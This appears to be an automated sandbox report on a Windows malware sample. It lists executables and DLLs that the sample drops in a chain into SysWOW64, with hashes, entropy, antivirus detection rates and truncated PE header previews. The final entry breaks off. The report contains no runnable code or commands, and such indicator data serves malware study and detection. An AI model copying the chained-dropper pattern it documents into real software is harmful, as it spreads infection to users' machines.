Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Lfcadoap.dll

Download File

Process:	C:\Windows\SysWOW64\Plbmqa32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8861660553601896
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10KMB+BDq9J5SV3DY:CSVVEPozmB70MB+FqX5S1D
MD5:	2BE4FC3710E3BE149FAB6EF818C21EA7
SHA1:	8669EF290A7719B940173DFFAE1503781BC5D77B
SHA-256:	89412D437E442998934D6D5F12577F492D97B6310DF52B67C2BA10C82030AB00
SHA-512:	5DF4B99435FDD2D7991A7716AA82CD6E1105ED6FB87D645957E7578CEDA9A0A6D5F217C96F5F2B159E216A132AE13B45E3F2ABA6A3A86460A3F5F1D340799693
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Lfjejf32.dll

Download File

Process:	C:\Windows\SysWOW64\Bqjacldl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8854985134492592
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10yB+BDq9J5SV3DY:CSVVEPozmB7YB+FqX5S1D
MD5:	A16432C6BFB3A06428BD8B24CB23307E
SHA1:	ECABE2C3478DFE3D1C5E9317A086177FB770D9B0
SHA-256:	CC5712C0C85A3206DE50863AEC2022854F89CD13BB750C823E2E567C364DE8FA
SHA-512:	64433BF750232C8D9FB6D96CF55BE5F82F724D941012FCD97EBDF0DCFB8636B65EDA5DE57F053096B36C09606556BD91AF3CB6DB3A77F37B19B3667ECC2AD786
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ligdce32.dll

Download File

Process:	C:\Windows\SysWOW64\Olijjb32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885337620948508
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10qB+BDq9J5SV3DY:CSVVEPozmB7IB+FqX5S1D
MD5:	967CD38BCD25E3A55FEBBCCAE5FAF052
SHA1:	F330DAC769F0F4598A17155145C801AE43268E2A
SHA-256:	E0C9DFE969C7C75A82DBCB452CCD507EFFFAFC9E9AFBACE94AE3CA82990EA6F4
SHA-512:	0052BB63DD0651957F8B69C647445E9BDBF9665860C187BA1C750822C57FCF24D98D1E8CD62EE7EF3A7A4FB3B5AF3D6F220171D632CC38D18A1E399F97EC98AA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Mfdadc32.dll

Download File

Process:	C:\Windows\SysWOW64\Bmlhnnne.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885915616346283
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10BB+BDq9J5SV3DY:CSVVEPozmB7HB+FqX5S1D
MD5:	953DE6B8919B6B8F13BF6701F5B7F6BB
SHA1:	9BF0CADD8E11A8356A364A23CC0571E0D36D58C8
SHA-256:	C13C45DFA17FD6EA8E009C1AFECDAD046B7A3C79CAC55E2CDEF6C05D1F49D3A5
SHA-512:	33773C98B501D8ED611D5323D2EFF34A6976214BA9E6A37E2E3F77D98647AFDBD5964AA6135366048F3CE21658811BDD7BB76A496BCA10B3267AFE128F780180
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Nejhbi32.exe

Download File

Process:	C:\Users\user\Desktop\h879iieoae.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.029371798942588
Encrypted:	false
SSDEEP:	3072:C9YQqNMGFWWbvbe3z11111111csxICREXdXNKT1ntPG9poDrFDHZtOgl:hQqNMzz111111111HCN9Otopg5tTl
MD5:	0603E4CBD8760D07DD7DCAB05A92238A
SHA1:	597FDCB8EBFC258FB014BE6F06F824C161F90785
SHA-256:	85DE77A21C40364383D0CD6E05D6A1CCD7013F395A40F51DA79495AAC80AF916
SHA-512:	8998895ADC2CEA78F3FE64C37A6D460A10066FEB146915315D1DC1CADABEFB0B0E39994290CCA14F5659F7CC13D34776635FC657714EEAA63EA91A75142522CC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Nejhbi32.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\h879iieoae.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\Njaakj32.dll

Download File

Process:	C:\Windows\SysWOW64\Fhedeo32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8861197809233476
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10dB+BDq9J5SV3DY:CSVVEPozmB7bB+FqX5S1D
MD5:	B5068E654411D8D8F378AAE95E250E2D
SHA1:	C239A9BA1967C3EF60486241A00F0F68D8C7E8A2
SHA-256:	5C5BF61003FF3E3D94F5B51F2DA73D93C2D2B3DCD50E278E671E780F4834A942
SHA-512:	FFFB4CD09906BBCE7CDDF58808B20437B809A81C54356CD718EB9D2E26529F6D4B4721D9CB7794D34DF6B0F09EFE76ACE512EF279AB0670DABC7909D61A78726
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Oceoll32.exe

Download File

Process:	C:\Windows\SysWOW64\Oeanchcn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.02913940748877
Encrypted:	false
SSDEEP:	3072:veCGS2NqCREXdXNKT1ntPG9poDrFDHZtOgl:v/GS2NpCN9Otopg5tTl
MD5:	1DB24B47BF090833A70E0BEA68A38D9F
SHA1:	CB716EA372AF8307F8E34E235B12A6B1505F20CE
SHA-256:	54607325797E16B65C4172CC2434B46F3A03D07C4DBE131CF0150EF9B2997682
SHA-512:	5A4FA7D222BD6768500C5C49B56F0407FB765BC2D65BA2E34A1802F1C2F0862A485BAF41EFC144A4964FC473EC203B26A75D613F22649BB7BAFFD9058E2DFDD5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Odekfoij.exe

Download File

Process:	C:\Windows\SysWOW64\Onkcje32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.030181619844008
Encrypted:	false
SSDEEP:	3072:HXhu4T4iOCREXdXNKT1ntPG9poDrFDHZtOgl:xT4ilCN9Otopg5tTl
MD5:	A30DE8FF39A8563F2D7B9E36AD05A4C6
SHA1:	7DDE7EC0FB55D6B6FF6224047F657DE638F19830
SHA-256:	157AD38CD9398D3E4417DFCDEFB34ACC4D64CC6FA2A2F0233A5623A0ADC0ED23
SHA-512:	9D551C50695FEC873872BDB4E2FF2CAC308C9FACDE2A06C0B6B499041BE8ECC52FF7775E7B675018BB224161224516F56F8923017B7C417674F3EAE00675A3E4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Oeanchcn.exe

Download File

Process:	C:\Windows\SysWOW64\Olijjb32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.980910405679068
Encrypted:	false
SSDEEP:	3072:VkEnKvTQLd6CREXdXNKT1ntPG9poDrFDHZtOgl:VbK7C5CN9Otopg5tTl
MD5:	1B2425A45E8ED6237FBE4E56F276A504
SHA1:	13A669539D2E4EB49158373ED9DAE15B7CBEE095
SHA-256:	E7FFCF839DE32DA0E59DC1892EC5E731FCDDA66BC09B882F74FC6683E2FC6092
SHA-512:	C36C85039EA4C266FCFBB0FFF2AE24E5170E6977DF174679597EF78C07B7EDA99DC3DCC333407E6133DA4DDD3C88379EB3110D6B80D97BDDDD2E8EA9A6EF0FB6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ogjdllpi.exe

Download File

Process:	C:\Windows\SysWOW64\Nejhbi32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.038961167963333
Encrypted:	false
SSDEEP:	3072:F2/KBOdlr+ZcPHCREXdXNKT1ntPG9poDrFDHZtOgl:BBklrUcPiCN9Otopg5tTl
MD5:	B9761DC0E2D962AEFE92F6E1F3C1F250
SHA1:	260E38D113176FB2AE58B815BDE7B74A8E573AF6
SHA-256:	847C160CDF5687852BF745FFF41FE02222CCAF249274412E3F20D9D2E43DEB2C
SHA-512:	DB0E956791ED2B1BFE243AFC3D4205EE0E8FFED18F2B43BF09DEB350405951A6157578E8F7A3FB58682420417CBC9884C92DEFE9A1944E24BBD3A0CED9CFF1DD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Oglabl32.exe

Download File

Process:	C:\Windows\SysWOW64\Opbieagi.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.026913608034047
Encrypted:	false
SSDEEP:	3072:CxmLxblMzKEkL1FCREXdXNKT1ntPG9poDrFDHZtOgl:DdblaKD1wCN9Otopg5tTl
MD5:	EB5F811B6A66908B38FB889817D5988F
SHA1:	957F7C45E8B4439E6757BC6D80278C8E54CF43C4
SHA-256:	62CAB9F10A7B07FD9486C89F2D4123AA954015A0EDBAFC364D5EF962099F41DA
SHA-512:	62DCD4343511C0AE70C468A2587A0E062925799C0859F926723D1F4E94BC5AE0AA5B7F26E92B955AA0147FF7A5B3D670978F2F4201ED077158FD52259E1B8E67
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ojacofgb.exe

Download File

Process:	C:\Windows\SysWOW64\Odekfoij.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.980332951555747
Encrypted:	false
SSDEEP:	3072:6eBBxNNDjTTC4dYBCREXdXNKT1ntPG9poDrFDHZtOgl:6eDxNNDXe420CN9Otopg5tTl
MD5:	AF41FAF03E8EAED376F154722746385B
SHA1:	3C8D4BF7665EAA38019E91E719F95FC6C117C782
SHA-256:	85B64BBFB21E2B7EAC68EE25F8EBED507276D1A8967EF17A455720793E4ECA18
SHA-512:	67A6B37ADED237E91AC42DDDCF37BB86C02DF13021B4FD02734FBC8E3CBED7F97BBF11B7EE98765699D714A6F77B899D14563821A64339B14FDC88699D45654A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Olijjb32.exe

Download File

Process:	C:\Windows\SysWOW64\Oglabl32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.983722913645044
Encrypted:	false
SSDEEP:	3072:Wmm/c0pnz7zrCREXdXNKT1ntPG9poDrFDHZtOgl:WmP0pnz7zeCN9Otopg5tTl
MD5:	6E56FF877D11D4ED11AF106FBDDD4ACE
SHA1:	0381230571396978F0A3D0736785AEE01D79BAA6
SHA-256:	0741FB62D451ACA4432D1FA60F8EFE40C330C569D25D516FEE06138BD294678A
SHA-512:	C3A6A71BED9905D926C82708C194DE094A2D52F59BDC5487DB55D04C00D88BB3B293B25FC7D5CAE3CE5D7725B0EE69156B44F9E87A86833B8C50A0FBD0441275
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Onkcje32.exe

Download File

Process:	C:\Windows\SysWOW64\Oceoll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.021146031213954
Encrypted:	false
SSDEEP:	3072:FPHqRVNY68QvbuScCREXdXNKT1ntPG9poDrFDHZtOgl:u+683STCN9Otopg5tTl
MD5:	7862075539A938767C526CCB7DF7CF4E
SHA1:	6BE48DAB7AF44E69A9E17F1531740CD9CD5786C4
SHA-256:	06B4319BD65DD7ACA5915F71D5D11941D784FEA0FD1EFD7A76E0F1050A4A0E38
SHA-512:	B0DECF7C0F2EC3E94135DA1FD192CB9CBDEEB4871D1402E8BD6A1E3D474BAE23D658392BC21348E267149EA4381ADF7BA4CD21070478363E2E850B6257DC5328
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Opbieagi.exe

Download File

Process:	C:\Windows\SysWOW64\Ogjdllpi.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.967699551580477
Encrypted:	false
SSDEEP:	3072:ImNapHU/2FrfOJCREXdXNKT1ntPG9poDrFDHZtOgl:IZ2/2Q8CN9Otopg5tTl
MD5:	04F64BB1853F025B09D78A47FA5C7F7B
SHA1:	376C16590F5F0AEF5E8F91A5856C8D9E7C65DC1F
SHA-256:	730126DAEDDC08C048D1B9F4777CB3F9E826DBCB0F7F2D4BC9F1B878AC0C1E6E
SHA-512:	D00F594EFF2CCB2BAAB2087201DB5CF19CB994612D4768E4676E5B9A8FA67E8D83FF9A17843B3EDD745E252D6AD02F7CFA2D2A9DDFA0C851C737073CD0FCD7CD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Pdkggn32.dll

Download File

Process:	C:\Windows\SysWOW64\Oeanchcn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8856460154820622
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10sB+BDq9J5SV3DY:CSVVEPozmB7CB+FqX5S1D
MD5:	D96A5EAAFB573C44F2B7DF9DA7CA8EFD
SHA1:	9D97EC65EBEA15170EAC95FEA82C95C1A74734DA
SHA-256:	C71673677F8F8018E618E7AA6221C3FDA9298AB07E3B16528901644DEA541A1B
SHA-512:	6E430E275F1C2135BDE8CBF9E9FC1820CF5BDE5DD5B7D337723CDD8966BC4078429A8841D9A51831B10B75BE525F9571E34A0A4B62431C87F4532C30DF8EE216
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Pdmohf32.dll

Download File

Process:	C:\Windows\SysWOW64\Bgamkfnl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8861415031675
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10ZeB+BDq9J5SV3DY:CSVVEPozmB7beB+FqX5S1D
MD5:	450995A555635B8455333D74D6525ADD
SHA1:	1D8ECC3CE389291A7B994B1BE0C01591E47481D3
SHA-256:	475AD260D5D1FAB50E98BD29D6117ECF261DAD03DDFB3DFEDE6F56EFB9BBF9B3
SHA-512:	A83621AA8D25C5EDB4FD4F83102EAE81C33C3104F00EC321F93CBB02405F46B683D3106C094BFCE89F938300F6252147712AD3A52BA379A2487F5B4B153BE63C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Pfgpqb32.dll

Download File

Process:	C:\Windows\SysWOW64\Dfcboo32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885743139619248
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU104B+BDq9J5SV3DY:CSVVEPozmB72B+FqX5S1D
MD5:	68CDDAA046789A220AB319DD3732F89D
SHA1:	E5751FDE9E7D6FFD692CF3A3E41F83A4504658AC
SHA-256:	C2C071E5FED607D815D3CD0ACD2C6F77D3008C55EA874FECE02172892DBB5AB9
SHA-512:	E6F2A329A6BAE7F39B742382DC7041204D7036B5E4226CCAAEA4FBBE4BFAC1B6B05E73518D9FF02A35FC05ED6CE58D34C4B347A2798EDA35623FE809900245C3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Pkjmee32.dll

Download File

Process:	C:\Windows\SysWOW64\Bnpnbp32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.886282171567183
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU101B+BDq9J5SV3DY:CSVVEPozmB73B+FqX5S1D
MD5:	57D08F5E5CCC8794CAE1728B07F0ED12
SHA1:	67B5CCB3B8914517B2067CA22891CAC8141653D1
SHA-256:	98FC1574783A5D4F0A8C10B99836B4E5E9F66E96EFD69343CED116E851E7EEE2
SHA-512:	6A56A4744296C0A6F71DF43C82629E5B0D1953B807CD8BBCB1C3C8BE37C956556B04C3EA0802F5C2E55F203A931F65362D3EA050D200E10D9BB1C892B9C77377
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Plbmqa32.exe

Download File

Process:	C:\Windows\SysWOW64\Ppllkpoo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.01978092876152
Encrypted:	false
SSDEEP:	3072:sOkE0AeYCREXdXNKT1ntPG9poDrFDHZtOgl:shXCN9Otopg5tTl
MD5:	40D460D476E3EF9238CDEC233DCA293E
SHA1:	F1D4CE681428A459ADF684C69A77301640E350D0
SHA-256:	6B750A21921DB2C98DE4D96C09409A1D4E08F7BC4B49D7A055253419B2E0435A
SHA-512:	152B05BED920F82597E04492CBDDDED2C47E339723F5704AA0B530FA1828AC7BC7A1A038815443013EAB68FC0D4BE28718921FA969433366E3705F08741923BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Plgflqpn.exe

Download File

Process:	C:\Windows\SysWOW64\Plbmqa32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.979986351954796
Encrypted:	false
SSDEEP:	3072:MQ6ZC4b3es7nl6cmJFlCREXdXNKT1ntPG9poDrFDHZtOgl:M9JLesRAJFQCN9Otopg5tTl
MD5:	746D9DB8F43CEAFB79CE4693732F31F4
SHA1:	A7D450C3CB3A96D42EF5CE09BFB551F423831449
SHA-256:	9E86F5A3DACC77FF9C9B6BAC7EF39E39C2B6965FC631A119CFABB26C08A12BA1
SHA-512:	41689B5FA96AD7D85ECE674CC77F9C9D6CF146E016445002EE3F953EEA86324B5B3629EEF3726EF2676A1F4E2882A5EFEE68B04F027F30B2053D9A2BFA2EF9BD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ppllkpoo.exe

Download File

Process:	C:\Windows\SysWOW64\Ojacofgb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.037012142885527
Encrypted:	false
SSDEEP:	3072:ssCTAGKyCREXdXNKT1ntPG9poDrFDHZtOgl:sJKRCN9Otopg5tTl
MD5:	38F64F662EE5C7E45202627AA7FCACCC
SHA1:	536174057D893B4FC7607807874AB8979303F41D
SHA-256:	635387B9B65BB9EB8CDBF145FCBBC0398EA084DB81A767A3F773AF5ACDCD578C
SHA-512:	BAB80AB57E44242778D3E779D696025E0D97CFE17DCA634AACE9CFB8057EBBC1A083E3BC0E8B13E705B3C7638AE05CBD93CF7E3CA7C4E8272F05D160D50A5987
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Pqeoao32.exe

Download File

Process:	C:\Windows\SysWOW64\Plgflqpn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.015742388700205
Encrypted:	false
SSDEEP:	3072:rE5fM7xnCREXdXNKT1ntPG9poDrFDHZtOgl:LCCN9Otopg5tTl
MD5:	A195A0011B7154E41E7FCDE5D8B4E0CA
SHA1:	61E015E46AAC8CEFC1FF9CE947785403FFB1DFD2
SHA-256:	B135EA1A9426364B521AFA9D419BB823DD716BA6F3BF255AA2634ACD78DA3FB2
